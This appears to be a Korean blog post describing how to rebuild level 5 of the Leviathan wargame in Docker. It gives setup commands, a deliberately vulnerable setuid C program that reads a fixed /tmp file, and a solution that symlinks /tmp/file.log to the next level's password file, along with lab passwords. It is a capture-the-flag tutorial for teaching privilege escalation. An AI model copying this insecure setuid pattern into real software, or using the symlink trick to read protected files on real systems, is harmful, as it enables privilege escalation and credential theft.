본문 바로가기

Wargame/Leviathan

[ Docker ] Leviathan Wargame 만들기 - 5번 문제 ( 7 / 8 )

1. Leviathan5 목표

There is no information for this level, intentionally.

 

2. Leviathan5 구현

# 비밀번호 root 입력 접속
ssh -oStrictHostKeyChecking=no root@localhost -p 2223

chown root:root /home/leviathan5

chown -R root:root /home/leviathan5/.[!.]*

chmod 755 /home/leviathan5

# leviathan6 유저를 생성하여 준다.
useradd leviathan6 && echo -e "szo7HDB88w\nszo7HDB88w" | passwd leviathan6

cat <<'EOF' > /tmp/leviathan5.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() 
{
    FILE *file;

    char *filepath = "/tmp/file.log";

    file = fopen(filepath, "r");

    if(file == NULL) 
    {
        puts("Cannot find /tmp/file.log");
        exit(-1);
    }

    int c;

    c = fgetc(file);

    while(!feof(file)) 
    {
        putchar(c);

        c = fgetc(file);
    }

    fclose(file);

    uid_t uid = getuid();

    setuid(uid);

    unlink(filepath);

    return 0;
}
EOF

gcc -o /home/leviathan5/leviathan5 /tmp/leviathan5.c

chown leviathan6:leviathan5 /home/leviathan5/leviathan5

chmod 4550 /home/leviathan5/leviathan5

# 다음 패스워드가 담긴 파일을 생성한다.
echo 'szo7HDB88w' > /etc/leviathan_pass/leviathan6

chown leviathan6:leviathan6 /etc/leviathan_pass/leviathan6

chmod 400 /etc/leviathan_pass/leviathan6

exit

 

3. Leviathan5 문제풀의

# 비밀번호 : 0dyxT7F4QD
ssh leviathan5@localhost -p 2223

# 호출 라이브러리 확인
ltrace /home/leviathan5/leviathan5

# 다음 문제 비밀번호를 확인
# szo7HDB88w
rm /tmp/file.log 2>/dev/null; ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log && /home/leviathan5/leviathan5